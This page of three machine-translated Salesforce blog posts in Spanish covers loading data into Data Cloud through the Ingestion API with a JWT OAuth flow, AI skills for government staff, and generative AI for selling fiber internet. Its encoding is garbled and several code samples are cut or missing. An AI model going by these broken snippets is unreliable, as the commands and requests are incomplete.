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Cargue datos mediante programaci贸n con la API de ingesta 鈽侊笍

Cargue datos mediante programaci贸n con la API de ingesta 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Cargue datos mediante programaci贸n con la API de ingesta | Blog de desarrolladores de Salesforce

Salesforce Data Cloud ofrece varios conectores predefinidos para la importaci贸n de datos. Estos le permiten conectar otra organizaci贸n de Salesforce, una instancia de Marketing Cloud, almacenamientos de datos como Amazon S3 o cualquier otra fuente admitida por MuleSoft Salesforce Data Cloud Connector . Para conectarse a un sistema de terceros, puede utilizar la API de ingesta .

La API de ingesta es una interfaz RESTful que facilita la carga de datos mediante programaci贸n en Data Cloud. Admite patrones de interacci贸n masiva y de transmisi贸n. El patr贸n de transmisi贸n usa JSON como su formato, cargando datos en micro lotes a trav茅s de la API REST. El patr贸n masivo, por otro lado, emplea el formato CSV y carga datos usando trabajos.

En esta publicaci贸n de blog, analizaremos c贸mo configurar el conector de la API de ingesta y comenzar a cargar datos mediante programaci贸n utilizando los patrones Streaming y Bulk.

Cu谩ndo usar la ingesti贸n Streaming vs Bulk

Ingesti贸n de transmisi贸n Ingesti贸n a granel
Al actualizar peque帽os microlotes de registros casi en tiempo real Al mover grandes vol煤menes de datos en un programa diario, semanal o mensual
Cuando se utilizan sistemas de origen de datos que se basan en arquitecturas de transmisi贸n modernas Al usar sistemas heredados, donde solo puede exportar datos durante las horas de menor actividad
Al crear eventos de captura de datos modificados Al usar una nueva organizaci贸n de Data Cloud que desea rellenar con 30, 60 o m谩s de 90 d铆as de datos
Al consumir datos de webhooks

Para configurar la API de ingesta, deber谩 seguir cuatro pasos de requisitos previos:

  • Crear un conector de API de ingesta
  • Crear e implementar un flujo de datos
  • Crear una aplicaci贸n conectada
  • Solicitar un token de acceso a la nube de datos

Veamos el proceso de creaci贸n y configuraci贸n de un conector de ingesta para comenzar a cargar datos en Data Cloud.

Creaci贸n de un conector de API de ingesta

Supongamos que tiene acceso a Data Cloud. Para conectar una nueva fuente de API de ingesta mediante el conector de API de ingesta, vaya a Configuraci贸n de nube de datos y seleccione API de ingesta .

Aqu铆 encontrar谩 todos los conectores disponibles en su organizaci贸n. Para crear uno nuevo, haga clic en Conectar y proporcione un nombre. Para nuestra aplicaci贸n de muestra, trabajaremos con una empresa de energ铆a solar ficticia. Estamos interesados en recibir eventos de m茅tricas relacionadas con el rendimiento energ茅tico de sus paneles solares.

Una vez que se haya creado el conector, necesitaremos decirle a Data Cloud qu茅 tipo de datos estamos esperando. Para esto, necesitaremos cargar un archivo de esquema utilizando la especificaci贸n OpenAPI. Este archivo de esquema tiene requisitos espec铆ficos, as铆 que aseg煤rese de consultar la documentaci贸n para obtener m谩s informaci贸n.

A continuaci贸n se muestra un ejemplo del archivo de esquema que cargaremos, que representa un solar_panel_event . Los campos clave a tener en cuenta incluyen event_id , que ser谩 煤nico para cada evento y luego se asignar谩 en Data Cloud como clave principal. Otro es customer_id , que nos ser谩 煤til para mapear el evento con un cliente de nuestra organizaci贸n. Finalmente, date_time representa la hora del evento.

panel_solar_event.yaml

Una vez que carguemos el esquema, podremos obtener una vista previa de sus campos y tipos de datos, y luego guardarlo en nuestro conector.

Ahora que nuestro conector tiene un esquema, podemos decir que est谩 creado. Sin embargo, a煤n no est谩 listo para comenzar a recibir datos. Necesitamos crear un flujo de datos para este prop贸sito.

Nota: Dado que los esquemas pueden evolucionar con el tiempo, tambi茅n puede usar la interfaz del conector de la API de ingesta para actualizar el esquema y agregar nuevos campos a su objeto de datos seg煤n sea necesario.

Creaci贸n e implementaci贸n de un flujo de datos

Ya tenemos listo nuestro conector API de ingesta. Ahora es el momento de establecer una conexi贸n para comenzar a importar datos. Para eso, necesitamos crear un flujo de datos . Una vez que el flujo de datos est谩 activo, podemos comenzar a ingerir datos en Data Cloud y almacenarlos como un objeto de Data Lake.

Para crear un nuevo flujo de datos, vaya a su pesta帽a en la aplicaci贸n Data Cloud, haga clic en Nuevo , seleccione Ingestion API y luego haga clic en Siguiente .

Nota: La opci贸n API de ingesta est谩 deshabilitada si no tiene ninguna fuente de ingesta conectada.

A continuaci贸n, ver谩 los diferentes objetos que est谩n asociados con su esquema. En nuestro caso, seleccione el objeto solar_panel_event y haga clic en Siguiente .

Al crear un flujo de datos, deber谩 seleccionar una categor铆a o tipo de datos en ese flujo de datos. Hay tres categor铆as: Compromiso , Perfil y Otro .

Compromiso Un conjunto de datos que representa un compromiso basado en series de tiempo, como un evento, interacci贸n con el cliente, interacci贸n web, etc.

Cuando se selecciona, el men煤 desplegable Campo de hora del evento aparece en la interfaz de usuario.

Perfil Un conjunto de datos que representa:

鈥 Una lista de consumidores con identificadores, como identificaciones de consumidores, direcciones de correo electr贸nico o n煤meros de tel茅fono

鈥 Una lista de empresas o cuentas con ID de cuenta

鈥 Una lista de empleados o cualquier otra poblaci贸n por la que desee segmentar o utilizar como poblaci贸n inicial del segmento

Otro Un conjunto de datos que no es un compromiso o un perfil, como informaci贸n de productos o tiendas.

Para nuestro ejemplo, dado que estamos planeando recibir eventos, seleccionaremos Compromiso . Mapearemos el event_id como la clave principal y la date_time como el campo de hora del evento.

Ahora que nuestros datos est谩n configurados, es hora de implementarlos. Despu茅s de revisar los flujos de datos que se van a crear, hagamos clic en Implementar para activarlos.

Ahora, echemos un vistazo a la p谩gina de detalles del flujo de datos. Aqu铆 podemos ver el objeto Data Lake que se ha creado en Data Cloud. Puede identificar un objeto de Data Lake por su sufijo __dll . Desde esta misma interfaz, puede comenzar a asignar sus datos a los objetos de su organizaci贸n para crear objetos de modelo de datos (parte del proceso de armonizaci贸n de Data Cloud). Sin embargo, no cubriremos ese tema en esta publicaci贸n de blog, pero tenemos un excelente video con Danielle Larregui que le muestra c贸mo hacerlo.

Nuestro conector API de ingesta est谩 listo para comenzar a recibir datos de sistemas de terceros. Para confirmar, regresemos a la interfaz de configuraci贸n de la API de ingesta, donde puede ver que el estado del conector es En uso .

Creaci贸n de una aplicaci贸n conectada

La API de ingesta admite todos los flujos de OAuth 2.0 admitidos por otras API REST de Salesforce. Para cargar datos mediante la API de ingesta, su aplicaci贸n conectada requiere los siguientes 谩mbitos:

脕mbitos de OAuth requeridos

cdp_ingest_api Acceda y administre sus datos de API de ingesta de nube de datos
API Accede y administra tus datos
refresco_token, acceso_sin conexi贸n Realizar solicitudes en su nombre en cualquier momento

Adem谩s, nuestra aplicaci贸n conectada requerir谩 un certificado digital. Para crear uno, puede ejecutar el siguiente comando usando el comando openssl :

Este comando crear谩 dos archivos, salesforce.key , que es la clave privada, y salesforce.crt , que es la clave p煤blica.

Nota : si no tiene instalado el comando openssl , puede instalarlo desde el sitio web de OpenSSL .

Para saber c贸mo crear una aplicaci贸n conectada, consulte la documentaci贸n oficial.

Solicitud de un token de acceso a la nube de datos

Para este ejemplo, usaremos el flujo de soporte JWT de OAuth 2.0 . Primero, necesitaremos crear un JWT (JSON Web Token) para solicitar un token de acceso.

Para crear un JWT, configurar谩 el encabezado para usar el algoritmo RSA256 .

Encabezado JWT

Luego, configure las siguientes notificaciones, teniendo en cuenta algunas notificaciones importantes:

  • iss: la clave de consumidor de OAuth/ID de cliente de su aplicaci贸n conectada
  • sub: el nombre de usuario de su organizaci贸n de Data Cloud
  • exp: el tiempo de vencimiento del token, expresado como una marca de tiempo de 茅poca

reclamos JWT

Nota : La 茅poca de Unix (o la hora de Unix o la hora POSIX o la marca de tiempo de Unix) es la cantidad de segundos que han transcurrido desde el 1 de enero de 1970 (medianoche UTC/GMT).

A continuaci贸n, deber谩 utilizar el algoritmo JWT para obtener el token completo y verificado.

Pero seamos honestos, no queremos crear un JWT manualmente. Para esto, utilizaremos el sitio web JWT.io para simplificar el proceso. Aseg煤rese de que el mensaje Firma verificada aparezca a continuaci贸n, lo que indica que nuestro JWT es v谩lido.

O puede crearlo program谩ticamente usando el lenguaje de programaci贸n de su elecci贸n. M谩s adelante en este art铆culo, compartir茅 un pr谩ctico script de Node.js para generar el token de acceso a la nube de datos.

Antes de que podamos autenticarnos usando el JWT que generamos, debemos aprobar este consumidor. Puede hacerlo abriendo la siguiente URL en su navegador.

<dx-code-block title language code-block="https://login.salesforce.com/services/oauth2/authorize?response_type=token&client_id=&redirect_uri=禄>

Y luego, inicie sesi贸n y permita el acceso:

Ahora que hemos aprobado nuestro JWT, necesitamos autenticarnos. Este es un proceso de dos pasos. Primero, necesitamos obtener un token de acceso usando el JWT. Para hacer esto, realicemos una solicitud POST HTTP con la siguiente informaci贸n.

<dx-code-block title language code-block="POST https://login.salesforce.com/services/oauth2/token
Content-Type : x-www-form-urlencoded
grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer
&assertion=禄>

Nota: aseg煤rese de reemplazar <JWT> con el token que creamos anteriormente.

Esta solicitud nos dar谩 un token de acceso central y la URL de la instancia de Data Cloud, utilizando nuestra aplicaci贸n conectada. Como se muestra en el alcance , se nos otorgan los alcances cdp_ingest_api y api .

A continuaci贸n, debemos cambiar el token de acceso principal por un token de nube de datos. Para hacer eso, realicemos la siguiente solicitud POST.

<dx-code-block title language code-block="POST /services/a360/token Content-Type : x-www-form-urlencoded grant_type=urn:salesforce:grant-type:external:cdp &subject_token= &subject_token_type=urn:ietf:params:oauth:token-type:access_token禄>

Ahora, estamos autenticados. El token de acceso a la nube de datos resultante es lo que usaremos para realizar solicitudes a la API de ingesta.

Para simplificar el proceso, he creado un script Node.js. Crea el JWT y realiza la autenticaci贸n en dos pasos. Para usarlo, necesitar谩 la clave privada que cre贸 anteriormente, as铆 como un archivo de configuraci贸n similar al siguiente.

config.js

Adem谩s, instale la dependencia jsonwebtoken desde npm ejecutando:

credenciales.js

console.log(auth)) .catch((err) => console.error(err)); 芦>

El m茅todo generateAccessToken devolver谩 el objeto de autenticaci贸n de Data Cloud, incluido el access_token y la instance_url necesarios para comenzar a ingerir datos en Data Cloud.

Ingesta de datos

Tenemos toda la informaci贸n necesaria para comenzar a ingerir datos en la nube de datos. Esto se puede lograr utilizando los patrones Streaming o Bulk.

Transmisi贸n

Para comenzar a transmitir datos en el conector de Ingesti贸n de nube de datos, primero obtenga el nombre del conector y el nombre del objeto de la configuraci贸n del conector de la API de Ingesti贸n. Para hacer esto, puede realizar una solicitud POST como la siguiente.

<dx-code-block title language code-block="POST https:///api/v1/ingest/sources/Solar_Panel_Events/solar_panel_event
Authorization: Bearer
Content-Type: application/json
{ "data": [ {"event_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479","customer_id": "003R00000123456789","battery": 75.2,"dc_current": 9.8,"dc_voltage": 35.6,"mpp_energy": 120.5,"ac_voltage": 220.1,"ac_current": 5.3,"date_time": "2023-07-07T10:15:30.05Z"} ] }禄>

Nota : aseg煤rese de reemplazar <token de acceso a la nube de datos> y <url de instancia> con los valores respectivos que obtuvo del proceso de autenticaci贸n.

Si todo va bien, recibir谩s la siguiente respuesta:

Esto indica que nuestros datos han sido aceptados con 茅xito.

Nota : tambi茅n puede validar los datos con el esquema antes de enviarlos agregando /actions/test al punto final de la API.

A granel

La ingesti贸n masiva implica varios pasos, lo que agrega un nivel de complejidad al proceso:

  • Crear un trabajo: este paso implica crear un trabajo para especificar el tipo de objeto de los datos que se procesan y la operaci贸n que se realizar谩, que puede ser upsert o delete.
  • Cargar los datos en CSV: Despu茅s de crear el trabajo, el siguiente paso es cargar los datos en formato CSV. El archivo CSV debe contener los datos que se procesar谩n, con cada fila representando un registro y las columnas que contienen los valores de campo.
  • Indicar la preparaci贸n de los datos: una vez que se cargan los datos, deber谩 indicar que los datos est谩n listos para ser procesados.
  • Cerrar o cancelar el trabajo: despu茅s de procesar los datos, puede cerrar el trabajo para marcarlo como completado o cancelar el trabajo si es necesario.

Para obtener m谩s informaci贸n sobre c贸mo usar los puntos de conexi贸n masivos, puede consultar la documentaci贸n oficial .

Puede consultar los datos entrantes utilizando el Explorador de datos en Data Cloud. All铆, seleccionar谩 el objeto Data Lake correspondiente al conector de ingesta que cre贸 anteriormente.

Si desea probarlo usted mismo, siempre puede utilizar nuestra colecci贸n Postman de desarrolladores de Salesforce, que incluye las API de Salesforce Data Cloud .

Conclusi贸n

Ahora, est谩 listo para comenzar a cargar datos mediante programaci贸n en Data Cloud mediante la API de ingesta. Siguiendo los pasos anteriores, puede conectarse sin problemas a varias fuentes de datos e importar datos en tiempo real o en masa, y comenzar a aprovechar el poder y la magia de Salesforce Data Cloud.

Adem谩s, si prefiere aprender de un video, mi colega Aditya ha creado un video 煤til que explica lo que hemos cubierto en esta publicaci贸n de blog . Aseg煤rese de ver tambi茅n los otros excelentes videos de la serie Data Cloud Decoded .

Recursos

Sobre los autores

Juli谩n Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educaci贸n y el intercambio de conocimientos y ha estado involucrado en la organizaci贸n de comunidades tecnol贸gicas y de desarrolladores desde 2001.

S铆galo @julianduque en Threads, @julian_duque en Twitter, @julianduque.co en Bluesky social o LinkedIn .

Aditya Naag Topalli es una defensora de desarrolladores l铆der certificada 14 veces en Salesforce. Capacita e inspira a los desarrolladores dentro y fuera del ecosistema de Salesforce a trav茅s de sus videos, seminarios web, publicaciones de blog y contribuciones de c贸digo abierto, y tambi茅n habla con frecuencia en conferencias y eventos en todo el mundo. S铆galo en Twitter o LinkedIn y vea sus contribuciones en GitHub .

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Lo que los gobiernos necesitan ahora: datos y habilidades de IA

Lo que los gobiernos necesitan ahora: datos y habilidades de IA

El auge de la IA est谩 aqu铆 , lo que significa que es hora de ver c贸mo la IA en el gobierno puede hacer que las cosas funcionen mejor tanto para las organizaciones como para los electores.

Para las organizaciones gubernamentales y del sector p煤blico, hay formas claras en que la IA puede ayudarlos a ser m谩s eficientes y servir a las personas de mejores maneras, como el procesamiento de datos, la seguridad cibern茅tica y la planificaci贸n p煤blica, por nombrar algunas.

Las agencias p煤blicas tienen la oportunidad de crear conciencia sobre la importancia de la IA en el gobierno. Este auge de la IA significa que es un buen momento para que los trabajadores del gobierno adquieran nuevas habilidades y aseguren su futuro. Obtener estas habilidades de IA en demanda ayudar谩 a los empleados a servir mejor al p煤blico, mejorando la confianza entre los sectores p煤blico y privado.

Conc茅ntrese en su misi贸n, no en TI

Aprenda de un ex ejecutivo del gobierno federal c贸mo una mayor seguridad cibern茅tica puede ayudar a hacer posible la transformaci贸n digital para el sector p煤blico.

Sin embargo, una de las mayores preocupaciones en torno al surgimiento de esta tecnolog铆a y las inversiones que se est谩n realizando en ella es una crisis de habilidades de IA. Una encuesta de SAS de los tomadores de decisiones de las principales empresas estadounidenses que abarcan nueve sectores, incluido el gobierno, dice que el 63% de los encuestados cree que no tienen suficientes recursos de inteligencia artificial y aprendizaje autom谩tico de alta calidad.

Esa brecha de habilidades, junto con el enfoque de avance a toda velocidad por parte de los tomadores de decisiones en las empresas y el gobierno, est谩 dando a los trabajadores motivos para preocuparse.

En marzo, el banco de inversi贸n Goldman Sachs predijo que la IA eventualmente podr铆a reemplazar 300 millones de empleos de tiempo completo en todo el mundo y afectar a casi una quinta parte del empleo, con un impacto particular en los trabajos administrativos que a menudo se consideran a prueba de automatizaci贸n, como las profesiones administrativas y legales. .

Pero se crear谩n empleos: la pregunta es en qu茅 porcentaje se desplazar谩n esos empleos compensados. El Informe sobre el futuro de los empleos del Foro Econ贸mico Mundial dice que casi el 75 % de las empresas encuestadas esperan adoptar la IA; el 50 % de las organizaciones cree que dar谩 como resultado un crecimiento del empleo y el 25 % cree que crear谩 p茅rdidas de empleo.

Por eso es tan importante, a medida que la IA asume una cantidad cada vez mayor de tareas de nivel inferior, que los trabajadores afectados por este cambio adquieran las habilidades para pasar a un trabajo m谩s emprendedor. Existe una gran oportunidad para que su organizaci贸n adopte la IA en el gobierno, pero primero, debe asegurarse de que sus empleados tengan la capacitaci贸n adecuada y que tenga los datos fundamentales seguros con los que trabajar谩 la IA.

La modernizaci贸n de datos es el primer paso para configurar su organizaci贸n para un futuro optimizado por IA. Tambi茅n es un 谩rea en la que los trabajadores pueden mejorar y hacer la transici贸n a medida que la IA aleja el flujo de trabajo basado en humanos de las tareas de nivel inferior.

C贸mo la brecha de habilidades crea una oportunidad para la IA en trabajos gubernamentales

AI tiene el poder de mejorar enormemente las operaciones gubernamentales para satisfacer de manera m谩s efectiva las necesidades de sus ciudadanos. Los casos de uso son pr谩cticamente infinitos , desde la gesti贸n del tr谩fico hasta la prestaci贸n de atenci贸n m茅dica y el procesamiento de interminables formularios y papeleo que obstruyen notoriamente a casi todas las agencias gubernamentales.

Los departamentos de salud est谩n utilizando IA en todo, desde acelerar los ensayos de medicamentos hasta detectar y prevenir la pr贸xima pandemia .

Las agencias de seguridad p煤blica est谩n implementando IA para apoyar al personal, optimizar las operaciones y analizar grandes conjuntos de datos.

La lista contin煤a: identificar las deficiencias de infraestructura y las soluciones m谩s efectivas y eficientes; formas m谩s efectivas de implementar redes de seguridad y al mismo tiempo detectar el fraude; opciones de autoservicio para consultas de residentes; simplificar los sistemas judiciales atrasados .

La amplia gama de IA en aplicaciones gubernamentales crea una necesidad gigantesca de trabajadores preparados para la tecnolog铆a digital. Pero uno de los mayores obst谩culos que se interponen en el camino de las agencias p煤blicas para adoptar completamente y adoptar r谩pidamente esta tecnolog铆a es la falta de inteligencia artificial y capacidades de gesti贸n de datos dentro de su propia fuerza laboral.

Los trabajadores del gobierno a menudo carecen de las habilidades de inteligencia artificial y ciencia de datos necesarias para manejar la escala masiva de datos de los ciudadanos y construir modelos de inteligencia artificial de 煤ltima generaci贸n que, en 煤ltima instancia, beneficiar谩n al p煤blico.

驴C贸mo nos aseguramos de manera efectiva de que los trabajadores no se pierdan o, peor a煤n, se queden atr谩s con tanto cambio a nuestro alrededor tan r谩pidamente? 驴Y c贸mo dotamos a los trabajadores de las herramientas adecuadas que garanticen la equidad, la accesibilidad y la seguridad? Esto es especialmente importante para las organizaciones del sector p煤blico que tienen la responsabilidad adicional de mantener algunos de los est谩ndares de seguridad m谩s estrictos del mundo.

La educaci贸n y capacitaci贸n adecuadas sobre el uso responsable de la IA es el siguiente paso para las organizaciones , ayudando al sector p煤blico a servir mejor a su gente.

Los programas de educaci贸n para la IA en el gobierno est谩n teniendo 茅xito en todo el mundo

Ahora que conoce la importancia de la educaci贸n en IA, es hora de ver c贸mo otras organizaciones de todo el mundo est谩n manejando esta oportunidad.

Finlandia lanz贸 Elementos de IA en 2018 , cursos en l铆nea gratuitos dise帽ados para presentar los conceptos b谩sicos de IA a personas no especializadas en el p煤blico. Los cursos incluyen recursos de autoaprendizaje, contenido interactivo y trabajo basado en tareas que ense帽a conceptos, m茅todos de uso y limitaciones de la tecnolog铆a. El gobierno finland茅s se comprometi贸 a educar al menos al 1 por ciento de su poblaci贸n, un objetivo que se cumpli贸 y super贸 r谩pidamente. Los cursos ahora est谩n disponibles en m谩s de 20 idiomas y 1 mill贸n de personas en todo el mundo lo han completado.

De manera similar, AI Singapur lanz贸 el programa AI for Everyone , una iniciativa nacional administrada por el gobierno para equipar a las personas y organizaciones con las habilidades para usar la IA y el aprendizaje autom谩tico para el bien social. Ofrece cursos y talleres de IA, y financiaci贸n y apoyo para proyectos de IA que abordan el cambio social.

En los EE. UU., la legislaci贸n que crear铆a un programa de capacitaci贸n en IA para supervisores federales y funcionarios administrativos tambi茅n est谩 en proceso de aprobaci贸n en el Congreso . Su objetivo es proporcionar orientaci贸n sobre el uso de IA a los l铆deres federales. Esto les ayuda a garantizar que los riesgos y las recompensas del uso de la tecnolog铆a se sopesen adecuadamente frente a las misiones de la agencia y las comunidades a las que sirven.

Equipar a una fuerza laboral con habilidades de IA puede ayudar a generar confianza en el gobierno

Los empleados que poseen las habilidades adecuadas para el momento son invaluables para un gobierno que funcione. La experiencia del empleado est谩 directamente relacionada con la experiencia del cliente, ya que descubrimos que solo el 18 % de las personas encuestadas cree que la experiencia del cliente tiene prioridad en sus interacciones con el gobierno.

Mientras tanto, tambi茅n descubrimos que el 73 % de la fuerza laboral no se siente 鈥渕uy equipada鈥 con los recursos necesarios para aprender las habilidades digitales requeridas para tener 茅xito ahora. Sin embargo, est谩 claro que equipar a los trabajadores del sector p煤blico con las habilidades necesarias para aprovechar la IA los empodera para brindar experiencias transformadoras al p煤blico.

Lo que significa que existe una gran oportunidad de mejorar las habilidades de los trabajadores del sector p煤blico para aprovechar las oportunidades que presenta la IA en el gobierno. Esto no solo significa seguridad para los trabajadores en un momento inquietante, sino tambi茅n mejores experiencias para la poblaci贸n a la que sirven. En 煤ltima instancia, esta es una oportunidad para generar m谩s confianza , asegurando que el sector p煤blico est茅 haciendo todo lo posible para servir mejor a la poblaci贸n.

Los datos son la base de una IA confiable

Una de las principales formas en que puede preparar a sus empleados para la IA es mediante la modernizaci贸n y unificaci贸n de sus datos. Es importante tener en cuenta que las herramientas de IA son tan efectivas como los datos de los que extraen y las personas que gu铆an la tecnolog铆a.

Cuando sus datos est谩n conectados y unificados, puede desbloquear el verdadero potencial de la IA y la automatizaci贸n, impulsado por conocimientos en tiempo real. Esto lo ayudar谩 a crear experiencias que no solo promuevan la misi贸n de su organizaci贸n, sino que generen confianza con las personas a las que sirve.

El ascenso del Director de Datos es un indicador de la importancia de esta funci贸n y los conjuntos de habilidades especializadas que diferenciar谩n a las organizaciones exitosas. Estos roles no solo requieren la gesti贸n de datos, sino tambi茅n las tareas cr铆ticas de garantizar el uso 茅tico y equitativo de las tecnolog铆as basadas en datos.

La confianza es una parte integral de la IA en el gobierno, lo que significa que la integridad y la seguridad de los datos son fundamentales. Eso crea una oportunidad para que las organizaciones del sector p煤blico establezcan componentes fundamentales (an谩lisis y estandarizaci贸n de grandes conjuntos de datos, implementaci贸n de medidas de seguridad mejoradas y modelado de datos innovador) para configurarlos para un futuro centrado en la IA.

El futuro de los servicios digitales

Obtenga informaci贸n de miles de personas sobre las tendencias globales que afectan las interacciones con los clientes y el gobierno y el enfoque del sector p煤blico hacia la transformaci贸n digital.

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驴Intenta ganar clientes de Internet de fibra? 3 formas en que la IA puede ayudar

驴Intenta ganar clientes de Internet de fibra? 3 formas en que la IA puede ayudar

A medida que m谩s empresas y personas buscan una conectividad a Internet m谩s r谩pida que la que pueden proporcionar los cables, la fibra es una inversi贸n popular. Dado que se espera que el mercado mundial de la fibra alcance los 31聽300 millones de USD para 2030 , est谩 claro que el auge de la fibra hasta el hogar est谩 aqu铆.

La IA puede ayudarlo a capitalizar esto, escalando sus esfuerzos para obtener nuevos clientes y ayud谩ndolo a brindar un mejor servicio a los actuales .

Adquirir la mayor cantidad de clientes lo m谩s r谩pido posible es el nombre del juego para los proveedores de fibra hasta el hogar. Las enormes inversiones en infraestructura est谩n presionando a煤n m谩s a las empresas de telecomunicaciones para que hagan precisamente eso.

Modernice el servicio con la automatizaci贸n

Aproveche la IA y la automatizaci贸n para liberar a los equipos de servicio al cliente de tareas mundanas, brindar un servicio de calidad y ser m谩s eficientes.

Sin embargo, la cantidad de nuevos clientes que puede atraer disminuye cada vez que se retrasa un nuevo proyecto, ya sean instalaciones de infraestructura m谩s amplias o viviendas individuales. Eso perjudica su resultado final y la satisfacci贸n del cliente .

Entonces, 驴c贸mo puede agregar m谩s eficiencia al proceso sin acumular inversiones m谩s significativas? Ah铆 es donde entran la IA y la automatizaci贸n. La IA generativa puede ayudar a los proveedores de comunicaciones a optimizar sus inversiones, y eso incluye ayudar a capitalizar el auge de la fibra.

Las implementaciones de IA generativa pueden permitirle hacer preguntas espec铆ficas basadas en los datos de CRM de su empresa, ayud谩ndole a tomar decisiones m谩s informadas, lo que lleva a mejores resultados comerciales.

La tecnolog铆a de inteligencia artificial generativa que es segura, confiable y se basa en la amplitud de los datos de su cliente puede optimizar su inversi贸n en fibra en cada paso del camino. Desde la identificaci贸n de vecindarios para proyectos de infraestructura hasta la optimizaci贸n de las instalaciones de hogares individuales, as铆 es como puede ayudar.

1. Identificar ubicaciones para la inversi贸n de fibra hasta el hogar

Para capitalizar el auge de la fibra hasta el hogar, el uso de la IA generativa comienza desde el inicio del proceso, identificando en qu茅 vecindarios colocar la fibra.

La tecnolog铆a de IA generativa puede analizar datos hist贸ricos, datos demogr谩ficos y tendencias del mercado para identificar d贸nde invertir en implementaciones o actualizaciones de infraestructura, por ejemplo. Junto con sus propios puntos de datos seguros, como la tasa de ganancia de su empresa en varios vecindarios, la IA generativa lo ayudar谩 a encontrar las soluciones de dise帽o de red m谩s rentables y eficientes.

Tambi茅n puede ayudar a los proveedores de fibra a identificar las comunidades con el mayor nivel de inter茅s en la fibra, as铆 como a crear flujos de trabajo inteligentes para aumentar los ingresos por registro e instalaci贸n m谩s r谩pidamente.

2. Escale sus ventas de fibra de alto rendimiento

Tenga en cuenta que la IA que implementa es tan buena como los datos en los que se basa . Puede usar IA con sus datos protegidos para adaptar sus esfuerzos de marketing, como dise帽ar anuncios personalizados visualmente atractivos para dirigirse a audiencias espec铆ficas en funci贸n del historial de navegaci贸n y compras, creando modelos predictivos para pronosticar el comportamiento de compra de los clientes.

La IA generativa junto con las capacidades de IA basadas en el aprendizaje autom谩tico de larga data es el "santo grial" para escalar su alcance, seg煤n Vala Afshar, evangelista digital jefe de Salesforce. Eso tambi茅n se aplica al despliegue de fibra en tantos hogares y empresas como sea posible.

Puede ayudar a optimizar sus ventas y marketing a trav茅s de otros beneficios, como:

  • Puntuaci贸n de clientes potenciales : use IA para analizar y priorizar autom谩ticamente los clientes potenciales de instalaci贸n de fibra en funci贸n de su probabilidad de conversi贸n.
  • Perspectivas de cuentas y oportunidades : la IA y los algoritmos de aprendizaje autom谩tico pueden recopilar y analizar datos de fuentes internas y externas para proporcionar una visi贸n hol铆stica de posibles cuentas de fibra y oportunidades de ventas.
  • Pron贸stico predictivo : con el an谩lisis predictivo, la IA puede extraer datos hist贸ricos, patrones y otras correlaciones para brindarles a los proveedores de fibra la capacidad de anticipar el comportamiento del cliente, predecir tendencias de ventas y tomar otras decisiones basadas en datos.

Yendo un paso m谩s all谩, la IA generativa predice las tendencias de ventas futuras, analiza los datos de ventas y crea una comunicaci贸n personalizada, lo que lo ayuda a aprovechar al m谩ximo la tendencia de fibra hasta el hogar.

La IA generativa tambi茅n puede ayudar a su equipo de ventas a cerrar y optimizar nuevos acuerdos de fibra.

Puede crear propuestas y contratos a partir de datos de clientes, agilizando la creaci贸n, mejorando la personalizaci贸n, la eficiencia y la precisi贸n en todo el proceso.

El an谩lisis de gesti贸n de pedidos, en todo, desde m茅tricas de rendimiento de pedidos, seguimiento y gesti贸n de inventario, puede ayudar a identificar oportunidades de ventas adicionales y recomendaciones de productos, ahorrando horas de trabajo en tareas administrativas.

3. Mejore su proceso de instalaci贸n para trabajadores y clientes

La IA tampoco se detiene una vez que sus t茅cnicos est谩n en el campo.

Brinda a los despachadores una visibilidad completa para hacer coincidir los trabajadores y las asignaciones, y asigna proyectos de manera consistente en funci贸n de las habilidades, la ubicaci贸n, el inventario y las reglas comerciales. Les permite ver la fuerza de trabajo m贸vil y cada trabajo en una sola pantalla.

Los chatbots o asistentes virtuales con tecnolog铆a de IA pueden proporcionar actualizaciones en tiempo real sobre instalaciones o solicitudes de servicio que reducen el tiempo de intervenci贸n humana.

Puede ofrecer las siguientes mejores acciones y resoluci贸n de problemas para los t茅cnicos de servicio de campo durante la instalaci贸n. Por ejemplo, los algoritmos de visi贸n por computadora pueden analizar im谩genes o videos de los sitios de instalaci贸n para guiar a los t茅cnicos a trav茅s del proceso y garantizar la precisi贸n en el camino e identificar cualquier problema que deba abordarse.

Esto crea un proceso de instalaci贸n simplificado y le permite entrar y salir de m谩s hogares y negocios m谩s r谩pido. AI lo ayuda a brindar el excelente servicio que los clientes esperan, brind谩ndole una ventaja en la carrera de fibra hasta el hogar.

Uni茅ndolo todo con IA generativa

Veamos un ejemplo de un proveedor de fibra que utiliza IA generativa para convertir una simple solicitud de servicio de un cliente de banda ancha comercial en una posible instalaci贸n significativa de fibra para varias oficinas. Supongamos que un cliente se pone en contacto con el centro de servicio por inquietudes sobre videoconferencias nerviosas entre sus seis oficinas.

En el pasado, despu茅s de enterarse del problema, un representante de ventas regresaba e investigaba las ubicaciones de sus oficinas, cu谩ntos empleados y el tipo de negocio. Luego usar铆an esa informaci贸n para predecir el ancho de banda, o incluso si est谩 disponible en las ubicaciones, necesario para una soluci贸n. El representante, junto con los arquitectos t茅cnicos, establecer铆a cu谩l es la soluci贸n, pensar铆a en una venta adicional y redactar铆a una propuesta y un contrato.

Eso podr铆a tomar semanas o meses en completarse.

En su lugar, la IA puede tomar la indicaci贸n del cliente (arreglando videoconferencias sin fluctuaciones entre seis ubicaciones) y proporcionar instant谩neamente las respuestas a todas las preguntas necesarias para resolver el problema.

Esta tecnolog铆a puede extraer datos seguros de sus clientes e identificar informaci贸n relevante, como d贸nde se encuentran esas seis ubicaciones y el n煤mero de empleados por ubicaci贸n. Al leer los datos que ya tiene, la IA generativa puede informarle si la tecnolog铆a mejorada est谩 disponible para esas ubicaciones.

Tambi茅n puede incorporar una recomendaci贸n de venta adicional instant谩nea, que en este caso, por ejemplo, ser铆a instalar fibra en las ubicaciones para aumentar el ancho de banda y la mejor velocidad y calidad posibles para videoconferencias.

Luego, la IA generativa entrega una propuesta y un contrato utilizando toda esa informaci贸n privada dentro de su dominio. Un representante de ventas y un ingeniero de red est谩n en todo momento para proporcionar retroalimentaci贸n humana para ajustar o adaptar la respuesta, brindando el toque personal necesario para que todo funcione bien.

